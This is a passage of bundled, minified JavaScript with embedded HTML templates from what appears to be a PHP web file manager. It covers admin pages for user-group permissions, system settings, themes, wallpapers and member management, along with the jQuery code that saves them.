icon-plus"></i></a>\n\n <a href="javascript:void(0);" class="font-icon-label title_tooltip" title="{{LNG.open_the_path}}" data-action="group_home" >\n <i class="font-icon icon-folder-open"></i></a>\n <span class="group_size">111/1.5</span>\n </div>\n </div>\n <div class="content user_liser_content">\n </div>\n </div>\n <!-- content_system_group end -->\n\n <div class="right_frame" id="content_system_role">\n <div class="header_content">\n <div class="group_title">\n <span class="role_title"></span>\n <span class="label label-info" style="font-size: 12px;">id:<em class="role_id"></em></span>\n <a href="javascript:void(0);" class="font-icon-label" data-action="role_delete" ><i class="font-icon icon-trash"></i></a>\n </div>\n </div>\n\n <div class="section group_editor">\n <div class="together input">\n <div class="title"><i>{{LNG.group_name}}</i></div>\n <input type="text" id=\'name\' data-before=""/>\n <a href="javascript:;" class="button warning" \n title=\'{{LNG.group_tips}}\' title-timeout="100"><i class="icon-warning-sign"></i>{{LNG.tips}}!</a>\n <div style="clear:both;"></div>\n\n <div class="title"><i>{{LNG.group_role_ext}}</i></div>\n <input type="text" id=\'ext_not_allow\' default=\'php|asp|jsp\' value="php|asp|jsp"/>\n <a href="javascript:;" class="button warning path_ext_tips" \n title=\'{{LNG.group_role_ext_warning}}\' title-timeout="100"><i class="icon-warning-sign"></i>{{LNG.tips}}!</a>\n <div style="clear:both;"></div>\n </div>\n <div class="together">\n <div class="title" style="height:75px"><i>{{LNG.group_role_file}}</i></div>\n <div class="tagdiv">\n <a class="tag" href="javascript:;" data-role=\'explorer:mkfile;app:user_app\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_mkfile}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:mkdir\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_mkdir}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:pathRname\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_pathrname}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:pathDelete\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_pathdelete}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:pathInfo;explorer:pathInfoMuti\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_pathinfo}}</span>\n </a>\n\n <a class="tag" href="javascript:;" data-role=\'explorer:pathCopy;explorer:pathCute;explorer:pathCuteDrag;explorer:clipboard;explorer:pathPast\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_pathmove}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:zip\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_zip}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:unzip\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_unzip}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:search\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_search}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'editor:fileSave\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_filesave}}</span>\n </a>\n <div style="clear:both;"></div>\n </div>\n <div style="clear:both;"></div>\n </div>\n <div class="together">\n <div class="title"><i>{{LNG.group_role_can_upload}}</i></div>\n <a class="tag" href="javascript:;" data-role=\'explorer:fileUpload\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_upload}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:serverDownload\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_download}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'explorer:fileDownload\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_fileDownload}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'userShare:set;userShare:del\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_share}}</span>\n </a>\n <div style="clear:both;"></div>\n </div>\n\n <div class="together">\n <div class="title"><i>{{LNG.group_role_config}}</i></div>\n <a class="tag" href="javascript:;" data-role=\'user:changePassword\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_passowrd}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'setting:set\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_config}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'fav:edit;fav:add;fav:del\'>\n <input type="checkbox" id="23" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.group_role_fav}}</span>\n </a>\n <div style="clear:both;"></div>\n </div>\n\n <div class="together combox">\n <div class="title"><i>{{LNG.system_member_action}}</i></div>\n <a class="tag" href="javascript:;" data-role=\'system_member:get\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_list}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_member:add\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_add}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_member:edit\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_edit}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_member:do_action\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_del}}</span>\n </a>\n <div style="clear:both;"></div>\n </div>\n <div class="together combox">\n <div class="title"><i>{{LNG.system_group_action}}</i></div>\n <a class="tag" href="javascript:;" data-role=\'system_group:get\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_list}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_group:add\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_add}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_group:edit\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_edit}}</span>\n </a>\n <a class="tag" href="javascript:;" data-role=\'system_group:del\'>\n <input type="checkbox" class="checkbox kui-checkbox size-smallx blue"><span>{{LNG.action_del}}</span>\n </a>\n <div style="clear:both;"></div>\n </div>\n\n <div class="form_row from_row_submit">\n <button class="btn btn-primary role_save_button" data-action="role_edit_save">{{LNG.button_save_submit}}</button>\n <button class="btn btn-link revert" data-action="revert_all">{{LNG.button_select_all}}</button>\n </div>\n </div>\n\n </div>\n <!-- content_system_role end -->\n</div>\n</div><!-- 父元素结束 -->\n\n\n'),define("app/src/setting/page/system.html",[],'<div class="nav">\n <a href="javascript:;" class="this" data-page="setting">{{LNG.system_setting}}</a>\n <a href="javascript:;" class="" data-page="setting_menu">{{LNG.system_setting_menu}}</a>\n <a href="javascript:;" class="" data-page="setting_system_others">{{LNG.others}}</a>\n <div style="clear:both;"></div>\n</div>\n\n{{if G.is_root}}\n <div class="setting_tools_right">\n {{if core.versionType !="A"}}\n <button class="fl-right btn btn-default btn-sm system_setting_more">{{LNG.more}}</button>\n {{/if}}\n\n {{if verIndex={"A":"free","O":"1","P":"2","Q":"3"} }}{{/if}}\n {{if verKey = "version_vip_"+verIndex[core.versionType] }}{{/if}}\n <span class="version_vip" id="{{verKey}}"><i class="font-icon icon-key"></i>{{LNG[verKey]}}</span>\n </div>\n{{/if}}\n\n\n<div class="panel panel-default setting system_setting">\n <div class="panel-body">\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.system_name}}:</div>\n <div class="setting_content">\n <input type="text" name="system_name" value="{{data.system_name | window.htmlEncode}}" /><i class="desc">{{LNG.system_name_desc}}</i>\n <button class="btn btn-default btn-sm" style="margin-left:20px;" onclick="core.update();">{{LNG.check_update}}</button>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.system_desc | window.htmlEncode}}:</div>\n <div class="setting_content">\n <input type="text" name="system_desc" value="{{data.system_desc}}" /><i class="desc">{{LNG.system_desc}}</i>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.path_hidden}}:</div>\n <div class="setting_content">\n <input type="text" name="path_hidden" value="{{data.path_hidden}}" /><i class="desc">{{LNG.path_hidden_desc}}</i>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.new_user_folder}}:</div>\n <div class="setting_content">\n <input type="text" name="new_user_folder" value="{{data.new_user_folder}}" /><i class="desc">{{LNG.new_user_folder_desc}}</i>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.new_user_app}}:</div>\n <div class="setting_content">\n <input type="text" name="new_user_app" value="{{data.new_user_app}}"/><i class="desc">{{LNG.new_user_app_desc}}</i>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.auto_login}}:</div>\n <div class="setting_content">\n <label>\n <input type="checkbox" class="kui-checkbox-ios size-big" name="auto_login" {{if data.auto_login==\'1\'}}checked="checked"{{/if}} /><em></em>\n <i style="width:450px;">{{#LNG.auto_login_desc}}</i>\n </label>\n </div>\n </div>\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.need_check_code}}:</div>\n <div class="setting_content">\n <label>\n <input type="checkbox" class="kui-checkbox-ios size-big" name="need_check_code" {{if data.need_check_code==\'1\'}}checked="checked"{{/if}} /><em></em>\n </label>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.first_in}}:</div>\n <div class="setting_content">\n <label><input type="radio" name="first_in" value="desktop" class="kui-radio"\n {{if data.first_in==\'desktop\'}}checked="checked"{{/if}}/>\n <span>{{LNG.ui_desktop}}</span>\n </label>\n <label><input type="radio" name="first_in" value="explorer" class="kui-radio"\n {{if data.first_in==\'explorer\'}}checked="checked"{{/if}}/>\n <span>{{LNG.ui_explorer}}</span>\n </label>\n <label><input type="radio" name="first_in" value="editor" class="kui-radio"\n {{if data.first_in==\'editor\'}}checked="checked"{{/if}}/>\n <span>{{LNG.ui_editor}}</span>\n </label>\n </div>\n </div>\n\n <!-- 提交 -->\n <div class="form_row from_row_submit">\n <div class="setting_content">\n <button class="btn btn-primary system_save">{{LNG.button_save}}</button>\n </div>\n </div>\n </div>\n\n\n {{if info}}\n <div class="alert alert-warning" role="alert">\n <a href="#" class="close" data-dismiss="alert">&times;</a>\n <div class="pl-10">\n <h3>{{LNG.php_env_error}}<a href="javascript:;" class="button warning phpinfo"><i class="icon-warning-sign"></i>phpinfo</a></h3>\n {{#info}}\n </div>\n </div>\n {{/if}}\n</div>\n\n\n<div class="panel panel-default setting_menu hidden">\n <table id="list" align="center" border="0" cellspacing="0" cellpadding="0">\n <tbody>\n <tr class="title">\n <td width="10%">{{LNG.menu_name}}</td>\n <td>{{LNG.url_path}}<span>({{LNG.url_path_desc}})</span></td>\n <td>{{LNG.action}}</td>\n </tr>\n\n {{if data.menu.push({\'name\':\'\',\'type\':\'\',\'url\':\'\',\'target\':\'_blank\',\'use\':\'1\'}) }}{{/if}}\n {{each data.menu as value key}}\n {{if menu_system = value[\'type\'] == \'system\' ? \'menu_system\':\'\'}}{{/if}}\n {{if menu_show = value[\'use\'] == \'1\' ? \'menu_show\':\'menu_hidden\'}}{{/if}}\n {{if menu_add = value[\'name\'] == \'\' ? \'menu_default hidden\':\'\'}}{{/if}}\n <tr class="menu_list {{menu_system}} {{menu_show}} {{menu_add}}">\n <td class="name"><input type="text" name="name" value="{{value.name | menu_info_decode}}"/>\n <span>{{if LNG[\'ui_\'+value[\'name\']]}} {{LNG[\'ui_\'+value[\'name\']]}} {{else}} null {{/if}}</span>\n </td>\n <td class="url">\n <input type="text" name="url" value="{{value.url | menu_info_decode}}">\n <span>{{value.name}}</span>\n <label>\n <input type="checkbox" name="target" class="kui-checkbox size-small" value="{{value.target}}"\n {{if value.target==\'_blank\'}}checked="checked"{{/if}}/>\n <span>{{LNG.menu_open_window}}</span>\n </label>\n </td>\n <td class="action">\n <button class=\'btn btn-default btn-sm move_up\'><i class="font-icon icon-arrow-up"></i></button>\n <button class=\'btn btn-default btn-sm move_down\'><i class="font-icon icon-arrow-down"></i></button>\n <button class=\'btn btn-default btn-sm move_hidden\'>\n {{if value.use==\'1\'}} {{LNG.menu_hidden}} {{else}} {{LNG.menu_show}} {{/if}}\n </button>\n <button class=\'btn btn-default btn-sm move_del\'>{{LNG.menu_move_del}}</button>\n </td>\n </tr>\n {{/each}}\n </tbody>\n </table>\n \n <a href="javascript:void(0)" class="add system_menu_add "><i class="icon-plus pr-10"></i>{{LNG.button_add}}</a>\n <div class="form_row">\n <button class="btn btn-primary system_menu_save">{{LNG.button_save}}</button>\n </div>\n</div>\n\n\n\n<div class="panel panel-default setting_system_others hidden">\n <div class="panel-body">\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.action}}:</div>\n <div class="setting_content">\n <button class="btn btn-warning mr-20" system-tools="clear_cache">{{LNG.setting_clear_cache}}</button>\n <button class="btn btn-warning mr-20" system-tools="clear_user_recycle">{{LNG.setting_clear_user_recycle}}</button>\n <!-- <button class="btn btn-warning mr-20" system-tools="clear_session">清空session</button> -->\n </div>\n </div>\n <div class="form_row line"></div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_icp}}:</div>\n <div class="setting_content">\n <input type="text" name="global_icp" value="{{data.global_icp}}" />\n <i class="desc"></i>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_global_css}}:</div>\n <div class="setting_content">\n <textarea name="global_css">{{data.global_css}}</textarea>\n <i class="desc">{{LNG.setting_global_css_desc}}</i>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_global_html}}:</div>\n <div class="setting_content">\n <textarea name="global_html">{{data.global_html}}</textarea>\n <i class="desc">{{LNG.setting_global_html_desc}}</i>\n </div>\n </div>\n\n <!-- 提交 -->\n <div class="form_row from_row_submit">\n <div class="setting_content">\n <button class="btn btn-primary system_others_save">{{LNG.button_save}}</button>\n </div>\n </div>\n </div>\n\n</div>\n'),define("app/src/setting/page/theme.html",[],'<div class="section">\n <div class=\'box\' data-type="theme">\n {{each data.setting_all.themeall.split(\',\') as value key}}\n <div class=\'{{if value==data.user.theme}}this{{/if}} list\' data-value=\'{{value}}\'>\n <div class=\'theme ico\'><img src=\'{{G.static_path}}images/thumb/theme/{{value}}.png\'/></div>\n <div class=\'info\'>{{#LNG[\'theme_\'+value]}}</div>\n </div>\n {{/each}}\n <div style="clear:both;"></div>\n </div>\n</div>\n\n{{if config = G.user_config.theme_diy}}{{/if}}\n<div class="theme_diy_setting panel panel-default {{if G.user_config.theme!=\'diy\'}}hidden{{/if}}">\n <div class="panel-heading"><h3 class="panel-title">{{LNG.theme_diy_title}}</h3></div>\n <div class="panel-body">\n <div class="form_row theme_bg_type">\n <div class=\'setting_title\'>{{LNG.theme_diy_background}}:</div>\n <div class="setting_content">\n <label><input type="radio" class="kui-radio" name="bg_type" value="image" \n {{if config.bg_type == \'image\'}}checked="checked"{{/if}} />\n <span>{{LNG.theme_diy_image}}</span>\n </label>\n <label><input type="radio" class="kui-radio" name="bg_type" value="color" \n {{if config.bg_type == \'color\'}}checked="checked"{{/if}} />\n <span>{{LNG.theme_diy_color_blur}}</span>\n </label>\n </div>\n </div>\n\n <div class="theme_bg_type_image {{if config.bg_type != \'image\'}}hidden{{/if}}">\n <div class="form_row theme_bg_blur">\n <div class=\'setting_title\'>{{LNG.theme_diy_image_blur}}:</div>\n <div class="setting_content">\n <label class="disable-ripple">\n <input type="checkbox" class="kui-checkbox-ios size-big" name="bg_blur" {{if config.bg_blur==\'1\'}}checked="checked"{{/if}}/><em></em>\n </label>\n </div>\n </div>\n <div class="form_row theme_bg_image">\n <div class=\'setting_title\'>{{LNG.theme_diy_image_url}}:</div>\n <div class="setting_content file_select_input">\n <input type="text" name="bg_image" value="{{config.bg_image}}"/> \n <button class="path_select btn btn-default btn-right"><i class="font-icon icon-folder-open"></i></button>\n <img class="randomImage" src="{{G.static_path+\'images/common/desktop/fengche.png\'}}" title="{{LNG.setting_wall}}"/>\n </div>\n </div>\n </div>\n\n <div class="theme_bg_type_color {{if config.bg_type != \'color\'}}hidden{{/if}}">\n <div class="form_row ">\n <div class=\'setting_title\'>{{LNG.theme_diy_color_start}}:</div>\n <div class="setting_content">\n <input type="text" name="start_color" class="color_picker" value="{{config.start_color}}"/>\n </div>\n </div>\n <div class="form_row ">\n <div class=\'setting_title\'>{{LNG.theme_diy_color_end}}:</div>\n <div class="setting_content">\n <input type="text" name="end_color" class="color_picker" value="{{config.end_color}}"/>\n </div>\n </div>\n <div class="form_row ">\n <div class=\'setting_title\'>{{LNG.theme_diy_color_radius}}:</div>\n <div class="setting_content">\n <input type="text" name="color_rotate" id = "colorRotate"\n data-slider-id=\'colorRotateSlider\' \n data-slider-min="0"\n data-slider-max="360"\n data-slider-step="1"\n data-slider-value="{{config.color_rotate}}"/>\n </div>\n </div>\n\n <div class="color_default">\n <div class="color_list" data-color=\'{"start_color":"#93ad34","end_color":"#198a62","color_rotate":"310"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#5648c1","end_color":"#6fe3e7","color_rotate":"160"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#7b4397","end_color":"#2b85a6","color_rotate":"300"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#860073","end_color":"#4f1670","color_rotate":"300"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#248556","end_color":"#16226e","color_rotate":"165"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#d16645","end_color":"#13052e","color_rotate":"195"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#d23c39","end_color":"#dca74a","color_rotate":"320"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#7f7280","end_color":"#000000","color_rotate":"160"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#77cfa0","end_color":"#0c2b50","color_rotate":"330"}\'></div>\n <div class="color_list" data-color=\'{"start_color":"#29c0db","end_color":"#1178c2","color_rotate":"300"}\'></div>\n </div>\n </div>\n\n <!-- 提交 -->\n <div class="form_row">\n <div class=\'setting_title\'></div>\n <div class="setting_content">\n <button class="theme_diy_save btn btn-primary">{{LNG.button_save}}</button>\n </div>\n </div>\n\n </div>\n</div>\n'),define("app/src/setting/page/user.html",[],'<div class="nav">\n <a href="javascript:;" class="this" data-page="setting_basic">{{LNG.setting_basic}}</a>\n <a href="javascript:;" class="" data-page="setting_menu">{{LNG.setting_password}}</a>\n <div style="clear:both;"></div>\n</div>\n\n<div class="panel panel-default setting_basic system_setting user_config_setting">\n <div class="panel-body">\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.recycle_open_if}}:</div>\n <div class="setting_content">\n <label class="disable-ripple">\n <input type="checkbox" class="kui-checkbox-ios size-big" name="recycle_open"\n {{if data.user.recycle_open==\'1\'}}checked="checked"{{/if}}/><em></em>\n </label>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_user_animate_open}}:</div>\n <div class="setting_content">\n <label class="disable-ripple">\n <input type="checkbox" class="kui-checkbox-ios size-big" name="animate_open"\n {{if data.user.animate_open !=\'0\'}}checked="checked"{{/if}}/><em></em>\n </label>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_user_sound_open}}:</div>\n <div class="setting_content">\n <label class="disable-ripple">\n <input type="checkbox" class="kui-checkbox-ios size-big" name="sound_open"\n {{if data.user.sound_open ==\'1\'}}checked="checked"{{/if}}/><em></em>\n </label>\n </div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.upload_exist}}:</div>\n <div class="setting_content">\n <label>\n <input type="radio" class="kui-radio" name="file_repeat" value="rename" {{if data.user.file_repeat==\'rename\'}}checked="checked"{{/if}}/>\n <span>{{LNG.upload_exist_rename}}</span>\n </label>\n <label>\n <input type="radio" class="kui-radio" name="file_repeat" value="replace" {{if data.user.file_repeat==\'replace\'}}checked="checked"{{/if}}/>\n <span>{{LNG.upload_exist_replace}}</span>\n </label>\n <label>\n <input type="radio" class="kui-radio" name="file_repeat" value="skip" {{if data.user.file_repeat==\'skip\'}}checked="checked"{{/if}}/>\n <span>{{LNG.upload_exist_skip}}</span>\n </label>\n <div style="clear:both"></div>\n </div>\n </div>\n </div>\n</div>\n\n\n<div class="panel panel-default setting_menu hidden">\n <div class="panel-body">\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_password_old}}:</div>\n <div class="setting_content"><input type="password" id="password_now"value="" /></div>\n </div>\n\n <div class="form_row">\n <div class=\'setting_title\'>{{LNG.setting_password_new}}:</div>\n <div class="setting_content"><input type="password" id="password_new" value=""/></div>\n </div>\n\n <!-- 提交 -->\n <div class="form_row">\n <div class=\'setting_title\'></div>\n <div class="setting_content">\n <button onclick="Setting.tools();" class="btn btn-primary save">{{LNG.button_save}}</button>\n </div>\n </div>\n </div>\n</div>\n'),define("app/src/setting/page/wall.html",[],'<div class="section">\n <div class=\'box\' data-type="wall">\n {{each data.setting_all.wallall.split(\',\') as value key}}\n <div class=\'{{if value==data.user.wall}}this{{/if}} list\' data-value=\'{{value}}\'>\n <div class=\'ico\'><img src=\'{{G.static_path}}images/wall_page/thumb/{{value}}.jpg\'/></div>\n </div>\n {{/each}}\n <div style="clear:both;"></div>\n </div>\n</div>\n\n\n<div class="panel panel-default">\n <div class="panel-heading"><h3 class="panel-title">{{LNG.setting_wall_diy}}</h3></div>\n <div class="panel-body">\n <div class="form_row theme_bg_image">\n <div class=\'setting_title\'>URL:</div>\n <div class="setting_content file_select_input">\n <input type="text" id="wall_url" {{if data.user.wall.length>3}}value="{{data.user.wall}}"{{/if}}/> \n <button class="path_select btn btn-default btn-right"><i class="font-icon icon-folder-open"></i></button>\n <img class="randomImage" src="{{G.static_path+\'images/common/desktop/fengche.png\'}}" title="{{LNG.setting_wall}}"/>\n </div>\n </div>\n\n <!-- 提交 -->\n <div class="form_row">\n <div class=\'setting_title\'></div>\n <div class="setting_content">\n <button onclick="Setting.tools();" class="btn btn-primary">{{LNG.button_save}}</button>\n </div>\n </div>\n </div>\n</div>\n'),define("app/src/setting/system/system_setting",[],function(){var e=function(){$("input[name='first_in']").live("click",function(){$("input[name='first_in']").removeAttr("checked"),$(this).attr("checked","checked") -}),$(".system_save").die("click").live("click",function(){var e={};$(".system_setting .form_row [name]").each(function(){var t=$(this);if("checkbox"==t.attr("type")){var i=void 0==t.attr("checked")?"0":"1";e[t.attr("name")]=i}else"radius"!=t.attr("type")&&(e[t.attr("name")]=urlEncode(t.val()))}),e.first_in=$("input[name='first_in'][checked]").val(),a(e)}),t(),$(".phpinfo").die("click").live("click",function(){$.dialog.open("./index.php?setting/php_info",{title:"php_info",width:"70%",height:"65%",resize:!0})}),$(".system_setting_more").die("click").live("click",function(){if(G.is_root){var e=G.basic_path+"config/setting_user.php",t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}}}),i()},t=function(){$('.setting_menu .menu_list input[name="target"]').live("click",function(){"_blank"==$(this).val()?($(this).val("_self"),$(this).removeAttr("checked")):($(this).val("_blank"),$(this).attr("checked","checked"))}),$(".setting_menu .system_menu_add").die("click").live("click",function(){var e=$(".menu_default").clone().removeClass("menu_default hidden").addClass("menu_list");e.insertAfter(".setting_menu .menu_list:last")}),$(".setting_menu .menu_list .move_up").die("click").live("click",function(){var e=$(this).parent().parent();e.prev().hasClass("menu_list")&&e.insertBefore(e.prev())}),$(".setting_menu .menu_list .move_down").die("click").live("click",function(){var e=$(this).parent().parent();e.next().hasClass("menu_list")&&e.insertAfter(e.next())}),$(".setting_menu .menu_list .move_hidden").die("click").live("click",function(){var e=$(this).parent().parent();e.hasClass("menu_hidden")?(e.removeClass("menu_hidden"),$(this).text(LNG.menu_hidden)):(e.addClass("menu_hidden"),$(this).text(LNG.menu_show))}),$(".setting_menu .menu_list .move_del").die("click").live("click",function(){var e=$(this).parent().parent();e.remove()}),$(".system_menu_save").die("click").live("click",function(){var e=[];$(".setting_menu .menu_list").each(function(){var t=$(this),i={};t.hasClass("menu_default")||(t.find("input").each(function(){i[$(this).attr("name")]=urlEncode($(this).attr("value"))}),""!=i.name&&(i.use="1",i.type="",t.hasClass("menu_hidden")&&(i.use="0"),t.hasClass("menu_system")&&(i.type="system"),e.push(i)))}),a({menu:e})})},i=function(){$(".system_others_save").die("click").live("click",function(){var e={};$(".setting_system_others .form_row [name]").each(function(){var t=$(this);if(e[t.attr("name")]=urlEncode(t.val()),"checkbox"==t.attr("type")){var i=void 0==t.attr("checked")?"0":"1";e[t.attr("name")]=i}}),a(e)}),$("[system-tools]").die("click").live("click",function(){var e=$(this),t=e.attr("system-tools"),i=htmlRemoveTags(e.html());e.addClass("disabled").html(LNG.loading),Tips.loading(LNG.loading),$.ajax({url:"index.php?setting/system_tools&action="+t,dataType:"json",error:function(t,a,n){core.ajaxError(t,a,n),Tips.close(LNG.error,!1),e.removeClass("disabled").html(i)},success:function(t){Tips.close(t),setTimeout(function(){e.removeClass("disabled").html(i)},300)}})})},a=function(e){$.ajax({url:"index.php?setting/system_setting",type:"POST",data:"data="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})};e()}),define("app/src/setting/system/system",["lib/contextMenu/jquery-contextMenu","lib/ztree/ztree","./system_member","./system_group","./system_role"],function(e){e("lib/contextMenu/jquery-contextMenu"),e("lib/ztree/ztree");var t=e("./system_member"),i=e("./system_group"),a=e("./system_role"),n=function(){o("system_group"),s(),a.init(),i.init()},o=function(e){$(".system_conennt .this").removeClass("this"),$(".system_conennt #"+e).addClass("this"),$(".left_content").addClass("hidden"),$("."+e).removeClass("hidden"),$(".right_frame").addClass("hidden"),$("#content_"+e).removeClass("hidden")},s=function(){$(".left_header .tab").die("click").live("click",function(){var e=$(this).attr("id");o(e)})},r=function(e){e.each(function(){var e=core.userSpaceHtml($(this).html());$(this).html(e)})},l=function(e){var t=G.user_path+e.path+"/home/";e.group_id&&(t=G.group_path+e.path+"/home/"),e.home_path&&(t=e.home_path),window.parent&&window.parent.Config&&"explorer"==window.parent.Config.pageApp?(window.parent.ui.path.list(t),Tips.tips(LNG.system_open_true_path,!0)):core.explorer(t)};return{init:n,sizeUse:r,openPath:l,dataList:core.tools.systemData,systemMember:t,systemGroup:i,systemRole:a}}),define("app/src/setting/system/system_member",[],function(e){var t,i,a=function(e){return void 0!=t?(n(e),void 0):($.ajax({url:"./index.php?system_member/get",dataType:"json",success:function(i){return i.code?(t=System.dataList(i,"member"),n(e),void 0):(Tips.tips(i),void 0)},error:function(){return!1}}),void 0)},n=function(a){""==a&&(a=i),i=a;var n=e("./tpl/user_list.html"),o=template.compile(n),s=o({LNG:LNG,select_group:a,user_list:t,group_list:System.systemGroup.getList(),role_list:System.systemRole.getList()});$(".user_liser_content").html(s),$(".button_aciton_muti button").addClass("disabled"),System.sizeUse($("#content_system_group .user_list_cell .space"))},o=function(e,n,o){if(void 0!=n){"object"!=typeof n&&(n=[n]);var s={del:LNG.system_member_remove_tips,status_set:"",role_set:LNG.system_member_set_role,group_reset:"",group_remove_from:LNG.system_member_remove_group,group_add:""},r=function(){$.ajax({url:"./index.php?system_member/do_action&action="+e,type:"POST",data:"user_id="+jsonEncode(n)+"&param="+o,dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),$.dialog.list.share_dialog&&$.dialog.list.share_dialog.close(),t=void 0,a(i)}})};""==s[e]?r():$.dialog({id:"dialog_user_confirm",fixed:!0,icon:"question",padding:30,width:250,lock:!0,background:"#000",opacity:.2,content:s[e],ok:function(){r()},cancel:!0})}},s="write",r=function(e){var t={1:s};t[e]=s;var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};console.log(i),p(i,!0)},l=function(e){var t={1:s};t[e]=s;var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};p(i)},c=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},d=function(){var e=System.systemGroup.getList(),t=jsonDecode($("#group_info").attr("value")),i="";for(var a in t)e[a]&&(i+="read"==t[a]?'<span class="label label-info" title="'+LNG.system_role_read+'">'+e[a].name+"</span>":'<span class="label label-primary" title="'+LNG.system_role_write+'">'+e[a].name+"</span>");$(".dlg_group_display .cell").html(i+'<div style="clear:both"></div>')},p=function(n,s){var r=System.systemRole.getList(),l=e("./tpl/user.html");s&&(l=e("./tpl/user_import.html"));var 